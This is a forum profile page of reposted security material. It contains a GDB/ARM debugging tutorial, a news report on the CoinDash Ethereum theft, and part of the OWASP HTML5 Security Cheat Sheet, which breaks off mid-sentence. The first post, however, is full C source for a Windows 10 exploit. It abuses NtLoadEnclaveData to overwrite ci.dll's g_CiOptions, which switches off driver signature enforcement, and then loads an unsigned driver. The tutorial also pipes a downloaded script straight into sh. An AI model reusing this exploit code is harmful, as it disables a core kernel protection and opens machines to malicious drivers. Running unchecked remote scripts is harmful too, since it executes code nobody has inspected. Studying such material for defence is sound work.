Jump to content

Nytro

Administrators
  • Posts

    18794
  • Joined

  • Last visited

  • Days Won

    742

Everything posted by Nytro

  1. #include "global.h" HINSTANCE g_hInstance; HANDLE g_ConOut = NULL; BOOL g_ConsoleOutput = FALSE; WCHAR g_BE = 0xFEFF; RTL_OSVERSIONINFOW g_osv; #define CI_DLL "ci.dll" #define T_PROGRAMTITLE TEXT("NtLoadEnclaveData write to address Demo") #define T_PROGRAMUNSUP TEXT("Unsupported WinNT version\r\n") #define T_PROGRAMRUN TEXT("Another instance running, close it before\r\n") #define T_PROGRAMINTRO TEXT("NtLoadEnclaveData demo started\r\n(c) 2017 Project Authors\r\nSupported x64 OS : 10 RS3\r\n") #define DUMMYDRVREG L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\DummyDrv" NTSTATUS NativeAdjustPrivileges( _In_ ULONG Privilege ) { NTSTATUS Status; HANDLE TokenHandle; LUID Luid; TOKEN_PRIVILEGES TokenPrivileges; Luid.LowPart = Privilege; Luid.HighPart = 0; TokenPrivileges.PrivilegeCount = 1; TokenPrivileges.Privileges[0].Luid = Luid; TokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Status = NtOpenProcessToken( NtCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &TokenHandle); if (NT_SUCCESS(Status)) { Status = NtAdjustPrivilegesToken( TokenHandle, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, NULL); NtClose(TokenHandle); } if (Status == STATUS_NOT_ALL_ASSIGNED) Status = STATUS_PRIVILEGE_NOT_HELD; return Status; } NTSTATUS NativeLoadDriver( _In_ PWSTR DrvFullPath, _In_ PWSTR KeyName, _In_opt_ PWSTR DisplayName, _In_ BOOL ReloadDrv ) { UNICODE_STRING ValueName, drvName; OBJECT_ATTRIBUTES attr; HANDLE hDrvKey; ULONG data, dataSize = 0; NTSTATUS ns = STATUS_UNSUCCESSFUL; hDrvKey = NULL; __try { if (!ARGUMENT_PRESENT(KeyName)) { ns = STATUS_OBJECT_NAME_NOT_FOUND; __leave; } RtlInitUnicodeString(&drvName, KeyName); InitializeObjectAttributes(&attr, &drvName, OBJ_CASE_INSENSITIVE, 0, NULL); ns = NtCreateKey(&hDrvKey, KEY_ALL_ACCESS, &attr, 0, NULL, REG_OPTION_NON_VOLATILE, NULL); if (!NT_SUCCESS(ns)) { __leave; } if (ARGUMENT_PRESENT(DrvFullPath)) { RtlInitUnicodeString(&ValueName, L"ImagePath"); dataSize = (ULONG)(1 + _strlen(DrvFullPath)) * sizeof(WCHAR); ns = NtSetValueKey(hDrvKey, &ValueName, 0, REG_EXPAND_SZ, (PVOID)DrvFullPath, dataSize); if (!NT_SUCCESS(ns)) { __leave; } } data = 1; RtlInitUnicodeString(&ValueName, L"Type"); ns = NtSetValueKey(hDrvKey, &ValueName, 0, REG_DWORD, (PVOID)&data, sizeof(DWORD)); if (!NT_SUCCESS(ns)) { __leave; } data = 3; RtlInitUnicodeString(&ValueName, L"Start"); ns = NtSetValueKey(hDrvKey, &ValueName, 0, REG_DWORD, (PVOID)&data, sizeof(DWORD)); if (!NT_SUCCESS(ns)) { __leave; } data = SERVICE_ERROR_NORMAL; RtlInitUnicodeString(&ValueName, L"ErrorControl"); ns = NtSetValueKey(hDrvKey, &ValueName, 0, REG_DWORD, (PVOID)&data, sizeof(DWORD)); if (!NT_SUCCESS(ns)) { __leave; } if (ARGUMENT_PRESENT(DisplayName)) { RtlInitUnicodeString(&ValueName, L"DisplayName"); dataSize = (ULONG)(1 + _strlen(DisplayName)) * sizeof(WCHAR); ns = NtSetValueKey(hDrvKey, &ValueName, 0, REG_SZ, DisplayName, dataSize); if (!NT_SUCCESS(ns)) { __leave; } } NtClose(hDrvKey); hDrvKey = NULL; ns = NtLoadDriver(&drvName); if (ns == STATUS_IMAGE_ALREADY_LOADED) { if (ReloadDrv == TRUE) { NtUnloadDriver(&drvName); //unload previous driver version NtYieldExecution(); ns = NtLoadDriver(&drvName); } else { ns = STATUS_SUCCESS; } } } __finally { if (hDrvKey != NULL) { NtClose(hDrvKey); } } return ns; } LONG QueryCiOptions( _In_ PVOID MappedBase, _Inout_ ULONG_PTR *KernelBase ) { PBYTE CiInitialize = NULL; ULONG c, j = 0; LONG rel = 0; hde64s hs; CiInitialize = (PBYTE)GetProcAddress(MappedBase, "CiInitialize"); if (CiInitialize == NULL) return 0; if (g_osv.dwBuildNumber > 16199) { c = 0; j = 0; do { /* call CipInitialize */ if (CiInitialize[c] == 0xE8) j++; if (j > 1) { rel = *(PLONG)(CiInitialize + c + 1); break; } hde64_disasm(CiInitialize + c, &hs); if (hs.flags & F_ERROR) break; c += hs.len; } while (c < 256); } else { c = 0; do { /* jmp CipInitialize */ if (CiInitialize[c] == 0xE9) { rel = *(PLONG)(CiInitialize + c + 1); break; } hde64_disasm(CiInitialize + c, &hs); if (hs.flags & F_ERROR) break; c += hs.len; } while (c < 256); } CiInitialize = CiInitialize + c + 5 + rel; c = 0; do { if (*(PUSHORT)(CiInitialize + c) == 0x0d89) { rel = *(PLONG)(CiInitialize + c + 2); break; } hde64_disasm(CiInitialize + c, &hs); if (hs.flags & F_ERROR) break; c += hs.len; } while (c < 256); CiInitialize = CiInitialize + c + 6 + rel; *KernelBase = *KernelBase + CiInitialize - (PBYTE)MappedBase; return rel; } ULONG_PTR QueryVariableAddress( VOID ) { LONG rel = 0; ULONG_PTR Result = 0, ModuleKernelBase = 0; CHAR *szModuleName; WCHAR *wszErrorEvent, *wszSuccessEvent; PVOID MappedBase = NULL; CHAR szFullModuleName[MAX_PATH * 2]; szModuleName = CI_DLL; wszErrorEvent = TEXT("Ldr: CI.dll loaded image base not recognized"); wszSuccessEvent = TEXT("Ldr: CI.dll loaded for pattern search"); ModuleKernelBase = supGetModuleBaseByName(szModuleName); if (ModuleKernelBase == 0) { cuiPrintText(g_ConOut, wszErrorEvent, g_ConsoleOutput, TRUE); return 0; } szFullModuleName[0] = 0; if (!GetSystemDirectoryA(szFullModuleName, MAX_PATH)) return 0; _strcat_a(szFullModuleName, "\\"); _strcat_a(szFullModuleName, szModuleName); // _strcpy(szFullModuleName, "C:\\malware\\ci.dll"); MappedBase = LoadLibraryExA(szFullModuleName, NULL, DONT_RESOLVE_DLL_REFERENCES); if (MappedBase) { cuiPrintText(g_ConOut, wszSuccessEvent, g_ConsoleOutput, TRUE); rel = QueryCiOptions( MappedBase, &ModuleKernelBase); if (rel != 0) { Result = ModuleKernelBase; } FreeLibrary(MappedBase); } else { wszErrorEvent = TEXT("Ldr: Cannot load CI.dll"); cuiPrintText(g_ConOut, wszErrorEvent, g_ConsoleOutput, TRUE); } return Result; } VOID LoadDriver() { NTSTATUS Status; HANDLE Link = NULL; UNICODE_STRING str, drvname; OBJECT_ATTRIBUTES Obja; WCHAR szBuffer[MAX_PATH + 1]; Status = NativeAdjustPrivileges(SE_LOAD_DRIVER_PRIVILEGE); if (!NT_SUCCESS(Status)) { RtlSecureZeroMemory(&szBuffer, sizeof(szBuffer)); _strcpy(szBuffer, TEXT("Ldr: NativeAdjustPrivileges result = 0x")); ultohex(Status, _strend(szBuffer)); cuiPrintText(g_ConOut, szBuffer, g_ConsoleOutput, TRUE); return; } _strcpy(szBuffer, L"\\??\\"); _strcat(szBuffer, NtCurrentPeb()->ProcessParameters->CurrentDirectory.DosPath.Buffer); _strcat(szBuffer, L"dummy.sys"); RtlInitUnicodeString(&str, L"\\*"); RtlInitUnicodeString(&drvname, szBuffer); InitializeObjectAttributes(&Obja, &str, OBJ_CASE_INSENSITIVE, 0, NULL); Status = NtCreateSymbolicLinkObject(&Link, SYMBOLIC_LINK_ALL_ACCESS, &Obja, &drvname); if (!NT_SUCCESS(Status)) { RtlSecureZeroMemory(&szBuffer, sizeof(szBuffer)); _strcpy(szBuffer, TEXT("Ldr: NtCreateSymbolicLinkObject result = 0x")); ultohex(Status, _strend(szBuffer)); cuiPrintText(g_ConOut, szBuffer, g_ConsoleOutput, TRUE); } else { Status = NativeLoadDriver(L"\\*", DUMMYDRVREG, NULL, TRUE); RtlSecureZeroMemory(&szBuffer, sizeof(szBuffer)); _strcpy(szBuffer, TEXT("Ldr: NativeLoadDriver result = 0x")); ultohex(Status, _strend(szBuffer)); cuiPrintText(g_ConOut, szBuffer, g_ConsoleOutput, TRUE); if (Link) NtClose(Link); } } typedef NTSTATUS(NTAPI *pfnNtLoadEnclaveData)( ULONG_PTR Param1, ULONG_PTR Param2, ULONG_PTR Param3, ULONG_PTR Param4, ULONG_PTR Param5, ULONG_PTR Param6, ULONG_PTR Param7, ULONG_PTR Param8, ULONG_PTR Param9 ); pfnNtLoadEnclaveData NtLoadEnclaveData; UINT NtLoadEnclaveDataDemo() { NTSTATUS Status = STATUS_SUCCESS; HMODULE hNtdll; ULONG_PTR g_CiOptions = 0; WCHAR *wszErrorEvent; WCHAR szBuffer[MAX_PATH]; g_CiOptions = QueryVariableAddress(); if (g_CiOptions != 0) { _strcpy(szBuffer, TEXT("Ldr: CI.dll->g_CiOptions found at 0x")); u64tohex(g_CiOptions, _strend(szBuffer)); cuiPrintText(g_ConOut, szBuffer, g_ConsoleOutput, TRUE); } else { wszErrorEvent = TEXT("Ldr: CI.dll->g_CiOptions address not found."); cuiPrintText(g_ConOut, wszErrorEvent, g_ConsoleOutput, TRUE); return 0; } hNtdll = GetModuleHandle(TEXT("ntdll.dll")); if (hNtdll) { NtLoadEnclaveData = (pfnNtLoadEnclaveData)GetProcAddress(hNtdll, "NtLoadEnclaveData"); if (NtLoadEnclaveData) { Status = NtLoadEnclaveData(0x00007FFFFFFFFFFF, 0x00007FFFFFFFFFFE, 0x00007FFFFFFEFFFE, 0x000000000000FFFF, 0x00007FFFFFFEFFFE, 0x00007FFFFFFFFFFF, 0xFFFF800000000000, 0x000000000000FFFF, g_CiOptions); RtlSecureZeroMemory(&szBuffer, sizeof(szBuffer)); _strcpy(szBuffer, TEXT("Ldr: NtLoadEnclaveData returned with status = 0x")); ultohex((ULONG)Status, _strend(szBuffer)); cuiPrintText(g_ConOut, szBuffer, g_ConsoleOutput, TRUE); if (Status == STATUS_ACCESS_VIOLATION) { _strcpy(szBuffer, TEXT("Ldr: Attempt to load unsigned demo driver")); cuiPrintText(g_ConOut, szBuffer, g_ConsoleOutput, TRUE); LoadDriver(); } } else { wszErrorEvent = TEXT("Ldr: NtLoadEnclaveData procedure not found."); cuiPrintText(g_ConOut, wszErrorEvent, g_ConsoleOutput, TRUE); } } return (UINT)Status; } void DSEFixMain() { BOOL bCond = FALSE; UINT uResult = 0; DWORD dwTemp; WCHAR text[256]; __security_init_cookie(); do { g_hInstance = GetModuleHandle(NULL); g_ConOut = GetStdHandle(STD_OUTPUT_HANDLE); if (g_ConOut == INVALID_HANDLE_VALUE) { uResult = (UINT)-1; break; } g_ConsoleOutput = TRUE; if (!GetConsoleMode(g_ConOut, &dwTemp)) { g_ConsoleOutput = FALSE; } SetConsoleTitle(T_PROGRAMTITLE); SetConsoleMode(g_ConOut, ENABLE_LINE_INPUT | ENABLE_ECHO_INPUT | ENABLE_PROCESSED_OUTPUT); if (g_ConsoleOutput == FALSE) { WriteFile(g_ConOut, &g_BE, sizeof(WCHAR), &dwTemp, NULL); } cuiPrintText(g_ConOut, T_PROGRAMINTRO, g_ConsoleOutput, TRUE); RtlSecureZeroMemory(&g_osv, sizeof(g_osv)); g_osv.dwOSVersionInfoSize = sizeof(g_osv); RtlGetVersion((PRTL_OSVERSIONINFOW)&g_osv); #ifndef _DEBUG if ((g_osv.dwBuildNumber < 16199) || (g_osv.dwBuildNumber > 16241)) { cuiPrintText(g_ConOut, T_PROGRAMUNSUP, g_ConsoleOutput, TRUE); uResult = (UINT)-1; break; } #endif _strcpy(text, TEXT("Ldr: Windows v")); ultostr(g_osv.dwMajorVersion, _strend(text)); _strcat(text, TEXT(".")); ultostr(g_osv.dwMinorVersion, _strend(text)); _strcat(text, TEXT(" build ")); ultostr(g_osv.dwBuildNumber, _strend(text)); cuiPrintText(g_ConOut, text, g_ConsoleOutput, TRUE); uResult = NtLoadEnclaveDataDemo(); cuiPrintText(g_ConOut, TEXT("Ldr: Exit"), g_ConsoleOutput, TRUE); } while (bCond); ExitProcess(uResult); } hfiref0x Sursa: https://gist.github.com/hfiref0x/1ac328a8e73d053012e02955d38e36a8
  2. DEBUGGING WITH GDB This is a very brief introduction into compiling ARM binaries and basic debugging with GDB. As you follow the tutorials, you might want to follow along and experiment with ARM assembly on your own. In that case, you would either need a spare ARM device, or you just set up your own Lab environment in a VM by following the steps in this short How-To. You can use the following code from Part 7 – Stack and Functions, to get familiar with basic debugging with GDB. .section .text .global _start _start: push {r11, lr} /* Start of the prologue. Saving Frame Pointer and LR onto the stack */ add r11, sp, #0 /* Setting up the bottom of the stack frame */ sub sp, sp, #16 /* End of the prologue. Allocating some buffer on the stack */ mov r0, #1 /* setting up local variables (a=1). This also serves as setting up the first parameter for the max function */ mov r1, #2 /* setting up local variables (b=2). This also serves as setting up the second parameter for the max function */ bl max /* Calling/branching to function max */ sub sp, r11, #0 /* Start of the epilogue. Readjusting the Stack Pointer */ pop {r11, pc} /* End of the epilogue. Restoring Frame pointer from the stack, jumping to previously saved LR via direct load into PC */ max: push {r11} /* Start of the prologue. Saving Frame Pointer onto the stack */ add r11, sp, #0 /* Setting up the bottom of the stack frame */ sub sp, sp, #12 /* End of the prologue. Allocating some buffer on the stack */ cmp r0, r1 /* Implementation of if(a<b) */ movlt r0, r1 /* if r0 was lower than r1, store r1 into r0 */ add sp, r11, #0 /* Start of the epilogue. Readjusting the Stack Pointer */ pop {r11} /* restoring frame pointer */ bx lr /* End of the epilogue. Jumping back to main via LR register */ Using GDB Enhanced Features with GDB is highly recommended. root@labs:~# wget -q -O- https://github.com/hugsy/gef/raw/master/gef.sh | sh Save the code above in a file called max.s and compile it with the following commands: $ as max.s -o max.o $ ld max.o -o max The debugger is a powerful tool that can: Load a memory dump after a crash (post-mortem debugging) Attach to a running process (used for server processes) Launch a program and debug it Launch GDB against either a binary, a core file, or a Process ID: Attach to a process: $ gdb -pid $(pidof <process>) Debug a binary: $ gdb ./file Inspect a core (crash) file: $ gdb -c ./core.3243 $ gdb max If you installed GEF, it drops you the gef> prompt. This is how you get help: (gdb) h (gdb) apropos <search-term> gef> apropos registers collect -- Specify one or more data items to be collected at a tracepoint core-file -- Use FILE as core dump for examining memory and registers info all-registers -- List of all registers and their contents info r -- List of integer registers and their contents info registers -- List of integer registers and their contents maintenance print cooked-registers -- Print the internal register configuration including cooked values maintenance print raw-registers -- Print the internal register configuration including raw values maintenance print registers -- Print the internal register configuration maintenance print remote-registers -- Print the internal register configuration including each register's p -- Print value of expression EXP print -- Print value of expression EXP registers -- Display full details on one set may-write-registers -- Set permission to write into registers set observer -- Set whether gdb controls the inferior in observer mode show may-write-registers -- Show permission to write into registers show observer -- Show whether gdb controls the inferior in observer mode tui reg float -- Display only floating point registers tui reg general -- Display only general registers tui reg system -- Display only system registers Breakpoint commands: break (or just <function-name> break <line-number> break filename:function break filename:line-number break *<address> break +<offset> break –<offset> tbreak (set a temporary breakpoint) del <number> (delete breakpoint number x) delete (delete all breakpoints) delete <range> (delete breakpoint ranges) disable/enable <breakpoint-number-or-range> (does not delete breakpoints, just enables/disables them) continue (or just c) – (continue executing until next breakpoint) continue <number> (continue but ignore current breakpoint number times. Useful for breakpoints within a loop.) finish (continue to end of function) gef> break _start gef> info break Num Type Disp Enb Address What 1 breakpoint keep y 0x00008054 <_start> breakpoint already hit 1 time gef> del 1 gef> break *0x0000805c Breakpoint 2 at 0x805c gef> break _start This deletes the first breakpoint and sets a breakpoint at the specified memory address. When you run the program, it will break at this exact location. If you would not delete the first breakpoint and just set a new one and run, it would break at the first breakpoint. Start and Stop: Start program execution from beginning of the program run r run <command-line-argument> Stop program execution kill Exit GDB debugger quit q gef> run Now that our program broke exactly where we wanted, it’s time to examine the memory. The command “x” displays memory contents in various formats. Syntax: x/<count><format><unit> FORMAT UNIT x – Hexadecimal b – bytes d – decimal h – half words (2 bytes) i – instructions w – words (4 bytes) t – binary (two) g – giant words (8 bytes) o – octal u – unsigned s – string c – character gef> x/10i $pc => 0x8054 <_start>: push {r11, lr} 0x8058 <_start+4>: add r11, sp, #0 0x805c <_start+8>: sub sp, sp, #16 0x8060 <_start+12>: mov r0, #1 0x8064 <_start+16>: mov r1, #2 0x8068 <_start+20>: bl 0x8074 <max> 0x806c <_start+24>: sub sp, r11, #0 0x8070 <_start+28>: pop {r11, pc} 0x8074 <max>: push {r11} 0x8078 <max+4>: add r11, sp, #0 gef> x/16xw $pc 0x8068 <_start+20>: 0xeb000001 0xe24bd000 0xe8bd8800 0xe92d0800 0x8078 <max+4>: 0xe28db000 0xe24dd00c 0xe1500001 0xb1a00001 0x8088 <max+20>: 0xe28bd000 0xe8bd0800 0xe12fff1e 0x00001741 0x8098: 0x61656100 0x01006962 0x0000000d 0x01080206 Commands for stepping through the code: Step to next line of code. Will step into a function stepi s step <number-of-steps-to-perform> Execute next line of code. Will not enter functions nexti n next <number> Continue processing until you reach a specified line number, function name, address, filename:function, or filename:line-number until until <line-number> Show current line number and which function you are in where gef> nexti 5 ... 0x8068 <_start+20> bl 0x8074 <max> <- $pc 0x806c <_start+24> sub sp, r11, #0 0x8070 <_start+28> pop {r11, pc} 0x8074 <max> push {r11} 0x8078 <max+4> add r11, sp, #0 0x807c <max+8> sub sp, sp, #12 0x8080 <max+12> cmp r0, r1 0x8084 <max+16> movlt r0, r1 0x8088 <max+20> add sp, r11, #0 Examine the registers with info registers or i r gef> info registers r0 0x1 1 r1 0x2 2 r2 0x0 0 r3 0x0 0 r4 0x0 0 r5 0x0 0 r6 0x0 0 r7 0x0 0 r8 0x0 0 r9 0x0 0 r10 0x0 0 r11 0xbefff7e8 3204446184 r12 0x0 0 sp 0xbefff7d8 0xbefff7d8 lr 0x0 0 pc 0x8068 0x8068 <_start+20> cpsr 0x10 16 The command “info registers” gives you the current register state. We can see the general purpose registers r0-r12, and the special purpose registers SP, LR, and PC, including the status register CPSR. The first four arguments to a function are generally stored in r0-r3. In this case, we manually moved values to r0 and r1. Show process memory map: gef> info proc map process 10225 Mapped address spaces: Start Addr End Addr Size Offset objfile 0x8000 0x9000 0x1000 0 /home/pi/lab/max 0xb6fff000 0xb7000000 0x1000 0 [sigpage] 0xbefdf000 0xbf000000 0x21000 0 [stack] 0xffff0000 0xffff1000 0x1000 0 [vectors] With the command “disassemble” we look through the disassembly output of the function max. gef> disassemble max Dump of assembler code for function max: 0x00008074 <+0>: push {r11} 0x00008078 <+4>: add r11, sp, #0 0x0000807c <+8>: sub sp, sp, #12 0x00008080 <+12>: cmp r0, r1 0x00008084 <+16>: movlt r0, r1 0x00008088 <+20>: add sp, r11, #0 0x0000808c <+24>: pop {r11} 0x00008090 <+28>: bx lr End of assembler dump. GEF specific commands (more commands can be viewed using the command “gef”): Dump all sections of all loaded ELF images in process memory xfiles Enhanced version of proc map, includes RWX attributes in mapped pages vmmap Memory attributes at a given address xinfo Inspect compiler level protection built into the running binary checksec gef> xfiles Start End Name File 0x00008054 0x00008094 .text /home/pi/lab/max 0x00008054 0x00008094 .text /home/pi/lab/max 0x00008054 0x00008094 .text /home/pi/lab/max 0x00008054 0x00008094 .text /home/pi/lab/max 0x00008054 0x00008094 .text /home/pi/lab/max 0x00008054 0x00008094 .text /home/pi/lab/max 0x00008054 0x00008094 .text /home/pi/lab/max 0x00008054 0x00008094 .text /home/pi/lab/max 0x00008054 0x00008094 .text /home/pi/lab/max 0x00008054 0x00008094 .text /home/pi/lab/max gef> vmmap Start End Offset Perm Path 0x00008000 0x00009000 0x00000000 r-x /home/pi/lab/max 0xb6fff000 0xb7000000 0x00000000 r-x [sigpage] 0xbefdf000 0xbf000000 0x00000000 rwx [stack] 0xffff0000 0xffff1000 0x00000000 r-x [vectors] gef> xinfo 0xbefff7e8 ----------------------------------------[ xinfo: 0xbefff7e8 ]---------------------------------------- Found 0xbefff7e8 Page: 0xbefdf000 -> 0xbf000000 (size=0x21000) Permissions: rwx Pathname: [stack] Offset (from page): +0x207e8 Inode: 0 gef> checksec [+] checksec for '/home/pi/lab/max' Canary: No NX Support: Yes PIE Support: No RPATH: No RUNPATH: No Partial RelRO: No Full RelRO: No TROUBLESHOOTING To make debugging with GDB more efficient it is useful to know where certain branches/jumps will take us. Certain (newer) versions of GDB resolve the addresses of a branch instruction and show us the name of the target function. For example, the following output of GDB lacks this feature: ... 0x000104f8 <+72>: bl 0x10334 0x000104fc <+76>: mov r0, #8 0x00010500 <+80>: bl 0x1034c 0x00010504 <+84>: mov r3, r0 ... And this is the output of GDB (negatively, without gef) which has the feature I’m talking about: 0x000104f8 <+72>: bl 0x10334 <free@plt> 0x000104fc <+76>: mov r0, #8 0x00010500 <+80>: bl 0x1034c <malloc@plt> 0x00010504 <+84>: mov r3, r0 If you don’t have this feature in your GDB, you can either update the Linux sources (and hope that they already have a newer GDB in their repositories) or compile a newer GDB by yourself. If you choose to compile the GDB by yourself, you can use the following commands: cd /tmp wget https://ftp.gnu.org/gnu/gdb/gdb-7.12.tar.gz tar vxzf gdb-7.12.tar.gz sudo apt-get update sudo apt-get install libreadline-dev python-dev texinfo -y cd gdb-7.12 ./configure --prefix=/usr --with-system-readline --with-python && make -j4 sudo make -j4 -C gdb/ install gdb --version I used the commands provided above to download, compile and run GDB on Raspbian (jessie) without problems. these commands will also replace the previous version of your GDB. If you don’t want that, then skip the command which ends with the word install. Moreover, I did this while emulating Raspbian in QEMU, so it took me a long time (hours), because of the limited resources (CPU) on the emulated environment. I used GDB version 7.12, but you would most likely succeed even with a newer version (click HERE for other versions). © 2017 Azeria-Labs Sursa: https://azeria-labs.com/debugging-with-gdb-introduction/
      • 1
      • Upvote
  3. Hacker Steals $7 Million Worth of Ethereum From CoinDash Platform By Catalin Cimpanu July 17, 2017 An unknown hacker has taken over the official website of the CoinDash platform and modified an Ethereum wallet address during the company's ICO (Initial Coin Offering). The hack took place today, just three minutes after CoinDash launched its ICO, which is something similar to an IPO. Many startups today use ICOs to raise funds in the form of cryptocurrency. An ICO happens at predetermined dates when companies publish a cryptocurrency address on their websites, and people start sending funds. After the ICO, the company issues tokens in return, which are the equivalent of real-world stocks. The hacker breached CoinDash's website According to a statement published on its website, CoinDash says the hacker took over its website three minutes after the ICO launched and replaced the official Ethereum wallet address with his own. When the company discovered the hack, it shut down its website and announced users about the incident and the end of the ICO. The company says it received around $6 million worth of Ethereum in the first three minutes, before the hack. The hacker's Ethereum wallet shows a balance of 43,438 Ethereum, which is around $7.8 million. CoinDash estimates that around $7 million of these funds came from its users. CoinDash will issue tokens to almost all investors The company was hoping to use the ICO money to fund its Ether social-trading platform. In an official statement, CoinDash has agreed to issue tokens to almost all the persons who sent money to the hacker's wallet. CoinDash is responsible to all of its contributors and will send CDTs [CoinDash Tokens] reflective of each contribution. Contributors that sent ETH to the fraudulent Ethereum address, which was maliciously placed on our website, and sent ETH to the CoinDash.io official address will receive their CDT tokens accordingly. Transactions sent to any fraudulent address after our website was shut down will not be compensated. CoinDash is asking investors who sent money to the hacker to fill out this form. There are no other details available about the incident or how the hacker breached CoinDash's systems. The company is still investigating the incident. Image credit: CoinDash CATALIN CIMPANU Catalin Cimpanu is the Security News Editor for Bleeping Computer, where he covers topics such as malware, breaches, vulnerabilities, exploits, hacking news, the Dark Web, and a few more. Catalin previously covered Web & Security news for Softpedia between May 2015 and October 2016. The easiest way to reach Catalin is via his XMPP/Jabber address at campuscodi@xmpp.is. For other contact methods, please visit Catalin's author page. Sursa: https://www.bleepingcomputer.com/news/security/hacker-steals-7-million-worth-of-ethereum-from-coindash-platform/
  4. HTML5 Security Cheat Sheet Last revision (mm/dd/yy): 09/9/2015 Introduction 1Introduction 2Communication APIs 2.1Web Messaging 2.2Cross Origin Resource Sharing 2.3WebSockets 2.4Server-Sent Events 3Storage APIs 3.1Local Storage 3.2Client-side databases 4Geolocation 5Web Workers 6Sandboxed frames 7Offline Applications 8Progressive Enhancements and Graceful Degradation Risks 9HTTP Headers to enhance security 9.1X-Frame-Options 9.2X-XSS-Protection 9.3Strict Transport Security 9.4Content Security Policy 9.5Origin 10Authors and Primary Editors 10.1Other Cheatsheets The following cheat sheet serves as a guide for implementing HTML 5 in a secure fashion. Communication APIs Web Messaging Web Messaging (also known as Cross Domain Messaging) provides a means of messaging between documents from different origins in a way that is generally safer than the multiple hacks used in the past to accomplish this task. However, there are still some recommendations to keep in mind: When posting a message, explicitly state the expected origin as the second argument to postMessage rather than * in order to prevent sending the message to an unknown origin after a redirect or some other means of the target window's origin changing. The receiving page should always: Check the origin attribute of the sender to verify the data is originating from the expected location. Perform input validation on the data attribute of the event to ensure that it's in the desired format. Don't assume you have control over the data attribute. A single Cross Site Scripting flaw in the sending page allows an attacker to send messages of any given format. Both pages should only interpret the exchanged messages as data. Never evaluate passed messages as code (e.g. via eval()) or insert it to a page DOM (e.g. via innerHTML), as that would create a DOM-based XSS vulnerability. For more information see DOM based XSS Prevention Cheat Sheet. To assign the data value to an element, instead of using a insecure method like element.innerHTML = data;, use the safer option: element.textContent = data; Check the origin properly exactly to match the FQDN(s) you expect. Note that the following code: if(message.orgin.indexOf(".owasp.org")!=-1) { /* ... */ } is very insecure and will not have the desired behavior as www.owasp.org.attacker.comwill match. If you need to embed external content/untrusted gadgets and allow user-controlled scripts (which is highly discouraged), consider using a JavaScript rewriting framework such as Google Caja or check the information on sandboxed frames. Cross Origin Resource Sharing Validate URLs passed to XMLHttpRequest.open. Current browsers allow these URLs to be cross domain; this behavior can lead to code injection by a remote attacker. Pay extra attention to absolute URLs. Ensure that URLs responding with Access-Control-Allow-Origin: * do not include any sensitive content or information that might aid attacker in further attacks. Use the Access-Control-Allow-Origin header only on chosen URLs that need to be accessed cross-domain. Don't use the header for the whole domain. Allow only selected, trusted domains in the Access-Control-Allow-Origin header. Prefer whitelisting domains over blacklisting or allowing any domain (do not use * wildcard nor blindly return the Origin header content without any checks). Keep in mind that CORS does not prevent the requested data from going to an unauthenticated location. It's still important for the server to perform usual CSRF prevention. While the RFC recommends a pre-flight request with the OPTIONS verb, current implementations might not perform this request, so it's important that "ordinary" (GET and POST) requests perform any access control necessary. Discard requests received over plain HTTP with HTTPS origins to prevent mixed content bugs. Don't rely only on the Origin header for Access Control checks. Browser always sends this header in CORS requests, but may be spoofed outside the browser. Application-level protocols should be used to protect sensitive data. WebSockets Drop backward compatibility in implemented client/servers and use only protocol versions above hybi-00. Popular Hixie-76 version (hiby-00) and older are outdated and insecure. The recommended version supported in latest versions of all current browsers is RFC 6455 (supported by Firefox 11+, Chrome 16+, Safari 6, Opera 12.50, and IE10). While it's relatively easy to tunnel TCP services through WebSockets (e.g. VNC, FTP), doing so enables access to these tunneled services for the in-browser attacker in case of a Cross Site Scripting attack. These services might also be called directly from a malicious page or program. The protocol doesn't handle authorization and/or authentication. Application-level protocols should handle that separately in case sensitive data is being transferred. Process the messages received by the websocket as data. Don't try to assign it directly to the DOM nor evaluate as code. If the response is JSON, never use the insecure eval() function; use the safe option JSON.parse() instead. Endpoints exposed through the ws:// protocol are easily reversible to plain text. Only wss:// (WebSockets over SSL/TLS) should be used for protection against Man-In-The-Middle attacks. Spoofing the client is possible outside a browser, so the WebSockets server should be able to handle incorrect/malicious input. Always validate input coming from the remote site, as it might have been altered. When implementing servers, check the Origin: header in the Websockets handshake. Though it might be spoofed outside a browser, browsers always add the Origin of the page that initiated the Websockets connection. As a WebSockets client in a browser is accessible through JavaScript calls, all Websockets communication can be spoofed or hijacked through Cross Site Scripting. Always validate data coming through a WebSockets connection. Server-Sent Events Validate URLs passed to the EventSource constructor, even though only same-origin URLs are allowed. As mentioned before, process the messages (event.data) as data and never evaluate the content as HTML or script code. Always check the origin attribute of the message (event.origin) to ensure the message is coming from a trusted domain. Use a whitelist approach. Storage APIs Local Storage Also known as Offline Storage, Web Storage. Underlying storage mechanism may vary from one user agent to the next. In other words, any authentication your application requires can be bypassed by a user with local privileges to the machine on which the data is stored. Therefore, it's recommended not to store any sensitive information in local storage. Use the object sessionStorage instead of localStorage if persistent storage is not needed. sessionStorage object is available only to that window/tab until the window is closed. A single Cross Site Scripting can be used to steal all the data in these objects, so again it's recommended not to store sensitive information in local storage. A single Cross Site Scripting can be used to load malicious data into these objects too, so don't consider objects in these to be trusted. Pay extra attention to “localStorage.getItem” and “setItem” calls implemented in HTML5 page. It helps in detecting when developers build solutions that put sensitive information in local storage, which is a bad practice. Do not store session identifiers in local storage as the data is always accesible by JavaScript. Cookies can mitigate this risk using the httpOnly flag. There is no way to restrict the visibility of an object to a specific path like with the attribute path of HTTP Cookies, every object is shared within an origin and protected with the Same Origin Policy. Avoid host multiple applications on the same origin, all of them would share the same localStorage object, use different subdomains instead. Client-side databases On November 2010, the W3C announced Web SQL Database (relational SQL database) as a deprecated specification. A new standard Indexed Database API or IndexedDB (formerly WebSimpleDB) is actively developed, which provides key/value database storage and methods for performing advanced queries. Underlying storage mechanisms may vary from one user agent to the next. In other words, any authentication your application requires can be bypassed by a user with local privileges to the machine on which the data is stored. Therefore, it's recommended not to store any sensitive information in local storage. If utilized, WebDatabase content on the client side can be vulnerable to SQL injection and needs to have proper validation and parameterization. Like Local Storage, a single Cross Site Scripting can be used to load malicious data into a web database as well. Don't consider data in these to be trusted. Geolocation The Geolocation RFC recommends that the user agent ask the user's permission before calculating location. Whether or how this decision is remembered varies from browser to browser. Some user agents require the user to visit the page again in order to turn off the ability to get the user's location without asking, so for privacy reasons, it's recommended to require user input before calling getCurrentPosition or watchPosition. Web Workers Web Workers are allowed to use 